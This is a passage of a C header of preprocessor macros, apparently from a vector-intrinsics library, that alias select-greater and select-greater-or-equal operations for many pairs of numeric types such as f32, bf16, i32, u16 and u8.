v_i32_i32_sel_grt_v_v_v_s v_i32_i32_sel_grt_v_v_v_v\n\n#define v_i32_i32_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_grt_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_i32_sel_grt_v_s_v_v_vb v_i32_i32_sel_grt_v_v_v_v_vb\n#define v_i32_i32_sel_grt_v_v_v_s_vb v_i32_i32_sel_grt_v_v_v_v_vb\n\n// i32 - u32\n#define v_u32_i32_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_grt_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_i32_sel_grt_v_s_v_v_b v_u32_i32_sel_grt_v_v_v_v_b\n#define v_u32_i32_sel_grt_v_v_v_s_b v_u32_i32_sel_grt_v_v_v_v_b\n#define v_u32_i32_sel_grt_v_v_v_v(a, b, c, d) v_u32_i32_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_i32_sel_grt_v_s_v_v v_u32_i32_sel_grt_v_v_v_v\n#define v_u32_i32_sel_grt_v_v_v_s v_u32_i32_sel_grt_v_v_v_v\n\n#define v_u32_i32_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_grt_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_i32_sel_grt_v_s_v_v_vb v_u32_i32_sel_grt_v_v_v_v_vb\n#define v_u32_i32_sel_grt_v_v_v_s_vb v_u32_i32_sel_grt_v_v_v_v_vb\n\n// u32 - f32\n#define v_f32_u32_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_grt_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_u32_sel_grt_v_s_v_v_b v_f32_u32_sel_grt_v_v_v_v_b\n#define v_f32_u32_sel_grt_v_v_v_s_b v_f32_u32_sel_grt_v_v_v_v_b\n#define v_f32_u32_sel_grt_v_v_v_v(a, b, c, d) v_f32_u32_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_u32_sel_grt_v_s_v_v v_f32_u32_sel_grt_v_v_v_v\n#define v_f32_u32_sel_grt_v_v_v_s v_f32_u32_sel_grt_v_v_v_v\n\n#define v_f32_u32_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_grt_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_u32_sel_grt_v_s_v_v_vb v_f32_u32_sel_grt_v_v_v_v_vb\n#define v_f32_u32_sel_grt_v_v_v_s_vb v_f32_u32_sel_grt_v_v_v_v_vb\n\n// u32 - i32\n#define v_i32_u32_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_grt_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_u32_sel_grt_v_s_v_v_b v_i32_u32_sel_grt_v_v_v_v_b\n#define v_i32_u32_sel_grt_v_v_v_s_b v_i32_u32_sel_grt_v_v_v_v_b\n#define v_i32_u32_sel_grt_v_v_v_v(a, b, c, d) v_i32_u32_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_u32_sel_grt_v_s_v_v v_i32_u32_sel_grt_v_v_v_v\n#define v_i32_u32_sel_grt_v_v_v_s v_i32_u32_sel_grt_v_v_v_v\n\n#define v_i32_u32_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_grt_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_u32_sel_grt_v_s_v_v_vb v_i32_u32_sel_grt_v_v_v_v_vb\n#define v_i32_u32_sel_grt_v_v_v_s_vb v_i32_u32_sel_grt_v_v_v_v_vb\n\n// u32 - u32\n#define v_u32_u32_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_grt_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_u32_sel_grt_v_s_v_v_b v_u32_u32_sel_grt_v_v_v_v_b\n#define v_u32_u32_sel_grt_v_v_v_s_b v_u32_u32_sel_grt_v_v_v_v_b\n#define v_u32_u32_sel_grt_v_v_v_v(a, b, c, d) v_u32_u32_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_u32_sel_grt_v_s_v_v v_u32_u32_sel_grt_v_v_v_v\n#define v_u32_u32_sel_grt_v_v_v_s v_u32_u32_sel_grt_v_v_v_v\n\n#define v_u32_u32_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_grt_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_u32_sel_grt_v_s_v_v_vb v_u32_u32_sel_grt_v_v_v_v_vb\n#define v_u32_u32_sel_grt_v_v_v_s_vb v_u32_u32_sel_grt_v_v_v_v_vb\n\n// i16 - bf16\n#define v_bf16_i16_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_grt_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_i16_sel_grt_v_s_v_v_b v_bf16_i16_sel_grt_v_v_v_v_b\n#define v_bf16_i16_sel_grt_v_v_v_s_b v_bf16_i16_sel_grt_v_v_v_v_b\n#define v_bf16_i16_sel_grt_v_v_v_v(a, b, c, d) v_bf16_i16_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_i16_sel_grt_v_s_v_v v_bf16_i16_sel_grt_v_v_v_v\n#define v_bf16_i16_sel_grt_v_v_v_s v_bf16_i16_sel_grt_v_v_v_v\n\n#define v_bf16_i16_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_grt_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_i16_sel_grt_v_s_v_v_vb v_bf16_i16_sel_grt_v_v_v_v_vb\n#define v_bf16_i16_sel_grt_v_v_v_s_vb v_bf16_i16_sel_grt_v_v_v_v_vb\n\n// i16 - i16\n#define v_i16_i16_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_grt_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_i16_sel_grt_v_s_v_v_b v_i16_i16_sel_grt_v_v_v_v_b\n#define v_i16_i16_sel_grt_v_v_v_s_b v_i16_i16_sel_grt_v_v_v_v_b\n#define v_i16_i16_sel_grt_v_v_v_v(a, b, c, d) v_i16_i16_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_i16_sel_grt_v_s_v_v v_i16_i16_sel_grt_v_v_v_v\n#define v_i16_i16_sel_grt_v_v_v_s v_i16_i16_sel_grt_v_v_v_v\n\n#define v_i16_i16_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_grt_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_i16_sel_grt_v_s_v_v_vb v_i16_i16_sel_grt_v_v_v_v_vb\n#define v_i16_i16_sel_grt_v_v_v_s_vb v_i16_i16_sel_grt_v_v_v_v_vb\n\n// i16 - u16\n#define v_u16_i16_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_grt_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_i16_sel_grt_v_s_v_v_b v_u16_i16_sel_grt_v_v_v_v_b\n#define v_u16_i16_sel_grt_v_v_v_s_b v_u16_i16_sel_grt_v_v_v_v_b\n#define v_u16_i16_sel_grt_v_v_v_v(a, b, c, d) v_u16_i16_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_i16_sel_grt_v_s_v_v v_u16_i16_sel_grt_v_v_v_v\n#define v_u16_i16_sel_grt_v_v_v_s v_u16_i16_sel_grt_v_v_v_v\n\n#define v_u16_i16_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_grt_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_i16_sel_grt_v_s_v_v_vb v_u16_i16_sel_grt_v_v_v_v_vb\n#define v_u16_i16_sel_grt_v_v_v_s_vb v_u16_i16_sel_grt_v_v_v_v_vb\n\n// u16 - bf16\n#define v_bf16_u16_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_grt_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_u16_sel_grt_v_s_v_v_b v_bf16_u16_sel_grt_v_v_v_v_b\n#define v_bf16_u16_sel_grt_v_v_v_s_b v_bf16_u16_sel_grt_v_v_v_v_b\n#define v_bf16_u16_sel_grt_v_v_v_v(a, b, c, d) v_bf16_u16_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_u16_sel_grt_v_s_v_v v_bf16_u16_sel_grt_v_v_v_v\n#define v_bf16_u16_sel_grt_v_v_v_s v_bf16_u16_sel_grt_v_v_v_v\n\n#define v_bf16_u16_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_grt_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_u16_sel_grt_v_s_v_v_vb v_bf16_u16_sel_grt_v_v_v_v_vb\n#define v_bf16_u16_sel_grt_v_v_v_s_vb v_bf16_u16_sel_grt_v_v_v_v_vb\n\n// u16 - i16\n#define v_i16_u16_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_grt_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_u16_sel_grt_v_s_v_v_b v_i16_u16_sel_grt_v_v_v_v_b\n#define v_i16_u16_sel_grt_v_v_v_s_b v_i16_u16_sel_grt_v_v_v_v_b\n#define v_i16_u16_sel_grt_v_v_v_v(a, b, c, d) v_i16_u16_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_u16_sel_grt_v_s_v_v v_i16_u16_sel_grt_v_v_v_v\n#define v_i16_u16_sel_grt_v_v_v_s v_i16_u16_sel_grt_v_v_v_v\n\n#define v_i16_u16_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_grt_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_u16_sel_grt_v_s_v_v_vb v_i16_u16_sel_grt_v_v_v_v_vb\n#define v_i16_u16_sel_grt_v_v_v_s_vb v_i16_u16_sel_grt_v_v_v_v_vb\n\n// u16 - u16\n#define v_u16_u16_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_grt_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_u16_sel_grt_v_s_v_v_b v_u16_u16_sel_grt_v_v_v_v_b\n#define v_u16_u16_sel_grt_v_v_v_s_b v_u16_u16_sel_grt_v_v_v_v_b\n#define v_u16_u16_sel_grt_v_v_v_v(a, b, c, d) v_u16_u16_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_u16_sel_grt_v_s_v_v v_u16_u16_sel_grt_v_v_v_v\n#define v_u16_u16_sel_grt_v_v_v_s v_u16_u16_sel_grt_v_v_v_v\n\n#define v_u16_u16_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_grt_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_u16_sel_grt_v_s_v_v_vb v_u16_u16_sel_grt_v_v_v_v_vb\n#define v_u16_u16_sel_grt_v_v_v_s_vb v_u16_u16_sel_grt_v_v_v_v_vb\n\n// i8 - u8\n#define v_i8_i8_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel_grt_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel_grt_v_s_v_v_b v_i8_i8_sel_grt_v_v_v_v_b\n#define v_i8_i8_sel_grt_v_v_v_s_b v_i8_i8_sel_grt_v_v_v_v_b\n#define v_i8_i8_sel_grt_v_v_v_v(a, b, c, d) v_i8_i8_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i8_i8_sel_grt_v_s_v_v v_i8_i8_sel_grt_v_v_v_v\n#define v_i8_i8_sel_grt_v_v_v_s v_i8_i8_sel_grt_v_v_v_v\n\n#define v_i8_i8_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel_grt_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel_grt_v_s_v_v_vb v_i8_i8_sel_grt_v_v_v_v_vb\n#define v_i8_i8_sel_grt_v_v_v_s_vb v_i8_i8_sel_grt_v_v_v_v_vb\n\n// i8 - u8\n#define v_u8_i8_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel_grt_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel_grt_v_s_v_v_b v_u8_i8_sel_grt_v_v_v_v_b\n#define v_u8_i8_sel_grt_v_v_v_s_b v_u8_i8_sel_grt_v_v_v_v_b\n#define v_u8_i8_sel_grt_v_v_v_v(a, b, c, d) v_u8_i8_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u8_i8_sel_grt_v_s_v_v v_u8_i8_sel_grt_v_v_v_v\n#define v_u8_i8_sel_grt_v_v_v_s v_u8_i8_sel_grt_v_v_v_v\n\n#define v_u8_i8_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel_grt_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel_grt_v_s_v_v_vb v_u8_i8_sel_grt_v_v_v_v_vb\n#define v_u8_i8_sel_grt_v_v_v_s_vb v_u8_i8_sel_grt_v_v_v_v_vb\n\n// u8 - i8\n#define v_i8_u8_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel_grt_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel_grt_v_s_v_v_b v_i8_u8_sel_grt_v_v_v_v_b\n#define v_i8_u8_sel_grt_v_v_v_s_b v_i8_u8_sel_grt_v_v_v_v_b\n#define v_i8_u8_sel_grt_v_v_v_v(a, b, c, d) v_i8_u8_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i8_u8_sel_grt_v_s_v_v v_i8_u8_sel_grt_v_v_v_v\n#define v_i8_u8_sel_grt_v_v_v_s v_i8_u8_sel_grt_v_v_v_v\n\n#define v_i8_u8_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel_grt_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel_grt_v_s_v_v_vb v_i8_u8_sel_grt_v_v_v_v_vb\n#define v_i8_u8_sel_grt_v_v_v_s_vb v_i8_u8_sel_grt_v_v_v_v_vb\n\n// u8 - u8\n#define v_u8_u8_sel_grt_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel_grt_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel_grt_v_s_v_v_b v_u8_u8_sel_grt_v_v_v_v_b\n#define v_u8_u8_sel_grt_v_v_v_s_b v_u8_u8_sel_grt_v_v_v_v_b\n#define v_u8_u8_sel_grt_v_v_v_v(a, b, c, d) v_u8_u8_sel_grt_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u8_u8_sel_grt_v_s_v_v v_u8_u8_sel_grt_v_v_v_v\n#define v_u8_u8_sel_grt_v_v_v_s v_u8_u8_sel_grt_v_v_v_v\n\n#define v_u8_u8_sel_grt_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel_grt_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel_grt_v_s_v_v_vb v_u8_u8_sel_grt_v_v_v_v_vb\n#define v_u8_u8_sel_grt_v_v_v_s_vb v_u8_u8_sel_grt_v_v_v_v_vb\n\n// SEL_GEQ\n\n// f32 - f32\n#define v_f32_f32_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_geq_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_f32_sel_geq_v_s_v_v_b v_f32_f32_sel_geq_v_v_v_v_b\n#define v_f32_f32_sel_geq_v_v_v_s_b v_f32_f32_sel_geq_v_v_v_v_b\n#define v_f32_f32_sel_geq_v_v_v_v(a, b, c, d) v_f32_f32_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_f32_sel_geq_v_s_v_v v_f32_f32_sel_geq_v_v_v_v\n#define v_f32_f32_sel_geq_v_v_v_s v_f32_f32_sel_geq_v_v_v_v\n\n#define v_f32_f32_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_geq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_f32_sel_geq_v_s_v_v_vb v_f32_f32_sel_geq_v_v_v_v_vb\n#define v_f32_f32_sel_geq_v_v_v_s_vb v_f32_f32_sel_geq_v_v_v_v_vb\n\n// f32 - i32\n#define v_i32_f32_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_geq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_f32_sel_geq_v_s_v_v_b v_i32_f32_sel_geq_v_v_v_v_b\n#define v_i32_f32_sel_geq_v_v_v_s_b v_i32_f32_sel_geq_v_v_v_v_b\n#define v_i32_f32_sel_geq_v_v_v_v(a, b, c, d) v_i32_f32_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_f32_sel_geq_v_s_v_v v_i32_f32_sel_geq_v_v_v_v\n#define v_i32_f32_sel_geq_v_v_v_s v_i32_f32_sel_geq_v_v_v_v\n\n#define v_i32_f32_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_geq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_f32_sel_geq_v_s_v_v_vb v_i32_f32_sel_geq_v_v_v_v_vb\n#define v_i32_f32_sel_geq_v_v_v_s_vb v_i32_f32_sel_geq_v_v_v_v_vb\n\n// f32 - u32\n#define v_u32_f32_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_geq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_f32_sel_geq_v_s_v_v_b v_u32_f32_sel_geq_v_v_v_v_b\n#define v_u32_f32_sel_geq_v_v_v_s_b v_u32_f32_sel_geq_v_v_v_v_b\n#define v_u32_f32_sel_geq_v_v_v_v(a, b, c, d) v_u32_f32_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_f32_sel_geq_v_s_v_v v_u32_f32_sel_geq_v_v_v_v\n#define v_u32_f32_sel_geq_v_v_v_s v_u32_f32_sel_geq_v_v_v_v\n\n#define v_u32_f32_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_geq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_f32_sel_geq_v_s_v_v_vb v_u32_f32_sel_geq_v_v_v_v_vb\n#define v_u32_f32_sel_geq_v_v_v_s_vb v_u32_f32_sel_geq_v_v_v_v_vb\n\n// bf16 - bf16\n#define v_bf16_bf16_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_geq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_bf16_sel_geq_v_s_v_v_b v_bf16_bf16_sel_geq_v_v_v_v_b\n#define v_bf16_bf16_sel_geq_v_v_v_s_b v_bf16_bf16_sel_geq_v_v_v_v_b\n#define v_bf16_bf16_sel_geq_v_v_v_v(a, b, c, d) v_bf16_bf16_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_bf16_sel_geq_v_s_v_v v_bf16_bf16_sel_geq_v_v_v_v\n#define v_bf16_bf16_sel_geq_v_v_v_s v_bf16_bf16_sel_geq_v_v_v_v\n\n#define v_bf16_bf16_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_geq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_bf16_sel_geq_v_s_v_v_vb v_bf16_bf16_sel_geq_v_v_v_v_vb\n#define v_bf16_bf16_sel_geq_v_v_v_s_vb v_bf16_bf16_sel_geq_v_v_v_v_vb\n\n// bf16 - i16\n#define v_i16_bf16_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_geq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_bf16_sel_geq_v_s_v_v_b v_i16_bf16_sel_geq_v_v_v_v_b\n#define v_i16_bf16_sel_geq_v_v_v_s_b v_i16_bf16_sel_geq_v_v_v_v_b\n#define v_i16_bf16_sel_geq_v_v_v_v(a, b, c, d) v_i16_bf16_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_bf16_sel_geq_v_s_v_v v_i16_bf16_sel_geq_v_v_v_v\n#define v_i16_bf16_sel_geq_v_v_v_s v_i16_bf16_sel_geq_v_v_v_v\n\n#define v_i16_bf16_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_geq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_bf16_sel_geq_v_s_v_v_vb v_i16_bf16_sel_geq_v_v_v_v_vb\n#define v_i16_bf16_sel_geq_v_v_v_s_vb v_i16_bf16_sel_geq_v_v_v_v_vb\n\n// bf16 - u16\n#define v_u16_bf16_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_geq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_bf16_sel_geq_v_s_v_v_b v_u16_bf16_sel_geq_v_v_v_v_b\n#define v_u16_bf16_sel_geq_v_v_v_s_b v_u16_bf16_sel_geq_v_v_v_v_b\n#define v_u16_bf16_sel_geq_v_v_v_v(a, b, c, d) v_u16_bf16_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_bf16_sel_geq_v_s_v_v v_u16_bf16_sel_geq_v_v_v_v\n#define v_u16_bf16_sel_geq_v_v_v_s v_u16_bf16_sel_geq_v_v_v_v\n\n#define v_u16_bf16_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_geq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_bf16_sel_geq_v_s_v_v_vb v_u16_bf16_sel_geq_v_v_v_v_vb\n#define v_u16_bf16_sel_geq_v_v_v_s_vb v_u16_bf16_sel_geq_v_v_v_v_vb\n\n// i32 - f32\n#define v_f32_i32_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_geq_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_i32_sel_geq_v_s_v_v_b v_f32_i32_sel_geq_v_v_v_v_b\n#define v_f32_i32_sel_geq_v_v_v_s_b v_f32_i32_sel_geq_v_v_v_v_b\n#define v_f32_i32_sel_geq_v_v_v_v(a, b, c, d) v_f32_i32_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_i32_sel_geq_v_s_v_v v_f32_i32_sel_geq_v_v_v_v\n#define v_f32_i32_sel_geq_v_v_v_s v_f32_i32_sel_geq_v_v_v_v\n\n#define v_f32_i32_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_geq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_i32_sel_geq_v_s_v_v_vb v_f32_i32_sel_geq_v_v_v_v_vb\n#define v_f32_i32_sel_geq_v_v_v_s_vb v_f32_i32_sel_geq_v_v_v_v_vb\n\n// i32 - i32\n#define v_i32_i32_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_geq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_i32_sel_geq_v_s_v_v_b v_i32_i32_sel_geq_v_v_v_v_b\n#define v_i32_i32_sel_geq_v_v_v_s_b v_i32_i32_sel_geq_v_v_v_v_b\n#define v_i32_i32_sel_geq_v_v_v_v(a, b, c, d) v_i32_i32_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_i32_sel_geq_v_s_v_v v_i32_i32_sel_geq_v_v_v_v\n#define v_i32_i32_sel_geq_v_v_v_s v_i32_i32_sel_geq_v_v_v_v\n\n#define v_i32_i32_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_geq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_i32_sel_geq_v_s_v_v_vb v_i32_i32_sel_geq_v_v_v_v_vb\n#define v_i32_i32_sel_geq_v_v_v_s_vb v_i32_i32_sel_geq_v_v_v_v_vb\n\n// i32 - u32\n#define v_u32_i32_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_geq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_i32_sel_geq_v_s_v_v_b v_u32_i32_sel_geq_v_v_v_v_b\n#define v_u32_i32_sel_geq_v_v_v_s_b v_u32_i32_sel_geq_v_v_v_v_b\n#define v_u32_i32_sel_geq_v_v_v_v(a, b, c, d) v_u32_i32_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_i32_sel_geq_v_s_v_v v_u32_i32_sel_geq_v_v_v_v\n#define v_u32_i32_sel_geq_v_v_v_s v_u32_i32_sel_geq_v_v_v_v\n\n#define v_u32_i32_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_geq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_i32_sel_geq_v_s_v_v_vb v_u32_i32_sel_geq_v_v_v_v_vb\n#define v_u32_i32_sel_geq_v_v_v_s_vb v_u32_i32_sel_geq_v_v_v_v_vb\n\n// u32 - f32\n#define v_f32_u32_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_geq_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_u32_sel_geq_v_s_v_v_b v_f32_u32_sel_geq_v_v_v_v_b\n#define v_f32_u32_sel_geq_v_v_v_s_b v_f32_u32_sel_geq_v_v_v_v_b\n#define v_f32_u32_sel_geq_v_v_v_v(a, b, c, d) v_f32_u32_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_u32_sel_geq_v_s_v_v v_f32_u32_sel_geq_v_v_v_v\n#define v_f32_u32_sel_geq_v_v_v_s v_f32_u32_sel_geq_v_v_v_v\n\n#define v_f32_u32_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_geq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_u32_sel_geq_v_s_v_v_vb v_f32_u32_sel_geq_v_v_v_v_vb\n#define v_f32_u32_sel_geq_v_v_v_s_vb v_f32_u32_sel_geq_v_v_v_v_vb\n\n// u32 - i32\n#define v_i32_u32_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_geq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_u32_sel_geq_v_s_v_v_b v_i32_u32_sel_geq_v_v_v_v_b\n#define v_i32_u32_sel_geq_v_v_v_s_b v_i32_u32_sel_geq_v_v_v_v_b\n#define v_i32_u32_sel_geq_v_v_v_v(a, b, c, d) v_i32_u32_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_u32_sel_geq_v_s_v_v v_i32_u32_sel_geq_v_v_v_v\n#define v_i32_u32_sel_geq_v_v_v_s v_i32_u32_sel_geq_v_v_v_v\n\n#define v_i32_u32_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_geq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_u32_sel_geq_v_s_v_v_vb v_i32_u32_sel_geq_v_v_v_v_vb\n#define v_i32_u32_sel_geq_v_v_v_s_vb v_i32_u32_sel_geq_v_v_v_v_vb\n\n// u32 - u32\n#define v_u32_u32_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_geq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_u32_sel_geq_v_s_v_v_b v_u32_u32_sel_geq_v_v_v_v_b\n#define v_u32_u32_sel_geq_v_v_v_s_b v_u32_u32_sel_geq_v_v_v_v_b\n#define v_u32_u32_sel_geq_v_v_v_v(a, b, c, d) v_u32_u32_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_u32_sel_geq_v_s_v_v v_u32_u32_sel_geq_v_v_v_v\n#define v_u32_u32_sel_geq_v_v_v_s v_u32_u32_sel_geq_v_v_v_v\n\n#define v_u32_u32_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_geq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_u32_sel_geq_v_s_v_v_vb v_u32_u32_sel_geq_v_v_v_v_vb\n#define v_u32_u32_sel_geq_v_v_v_s_vb v_u32_u32_sel_geq_v_v_v_v_vb\n\n// i16 - bf16\n#define v_bf16_i16_sel_geq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_geq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_i16_sel_geq_v_s_v_v_b v_bf16_i16_sel_geq_v_v_v_v_b\n#define v_bf16_i16_sel_geq_v_v_v_s_b v_bf16_i16_sel_geq_v_v_v_v_b\n#define v_bf16_i16_sel_geq_v_v_v_v(a, b, c, d) v_bf16_i16_sel_geq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_i16_sel_geq_v_s_v_v v_bf16_i16_sel_geq_v_v_v_v\n#define v_bf16_i16_sel_geq_v_v_v_s v_bf16_i16_sel_geq_v_v_v_v\n\n#define v_bf16_i16_sel_geq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_geq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_i16_sel_geq_v_s_v_v_vb v_bf16_i16_sel_geq_v_v_v_v_vb\n#define v_bf16_i16_sel_geq_v_v_v_s_vb v_bf16_i16_sel_geq_v_v_v_v_vb\n\n// i16 - 